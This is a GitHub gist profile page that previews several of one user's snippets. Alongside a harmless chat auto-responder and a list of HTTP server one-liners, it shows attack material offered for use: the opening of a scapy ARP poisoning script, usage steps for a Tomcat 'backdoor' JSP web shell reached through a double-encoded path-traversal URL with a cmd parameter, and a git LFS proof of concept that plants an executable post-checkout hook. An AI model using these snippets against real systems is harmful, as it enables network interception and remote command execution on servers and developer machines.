Skip to content

Instantly share code, notes, and snippets.

View juliosmelo's full-sized avatar
🏠
Working from home

Julio Silveira Melo juliosmelo

🏠
Working from home
  • laboratoriohacker.com
  • Blue earth
View GitHub Profile
@juliosmelo
juliosmelo / fuckUOLChat.js
Created April 14, 2020 21:18
UOL auto response
var timex = setInterval(sendFuckingMsg, 30000);
function sendFuckingMsg(){
productName = "ESPN Ilimitado";
uolPersonName = document.getElementById("Span1").textContent;
textField = document.getElementById("message");
button = document.getElementsByClassName("vinter-button vinter-quest-btnSend")[0];
textField.value = "Oi" + uolPersonName + "Não estou interessado. Quero CANCELAR o " + productName + "!";
button.click();
}
@juliosmelo
juliosmelo / gist:d1f6a0dccf9be4428dca855c185e6367
Created September 25, 2020 12:51
Python script for ARP poison attacks
import os
import sys
import threading
import signal
from scapy.all import *
HWDST_SRC = "ff:ff:ff:ff:ff:ff"
interface = ""
target_ip = ""
@juliosmelo
juliosmelo / cve-2007-1860
Created November 6, 2020 17:53
Tomcat CVE-2007-1960 backdoor
# how to use
# build
# $ jar -cvf index.war *
# upload to tomacat server
# execute
# http://taget/%252e%252e/%252e%252e/cve-2007-1860/index.jsp?cmd=ls
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
>.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
@juliosmelo
juliosmelo / web-servers.md
Created June 6, 2023 00:33 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000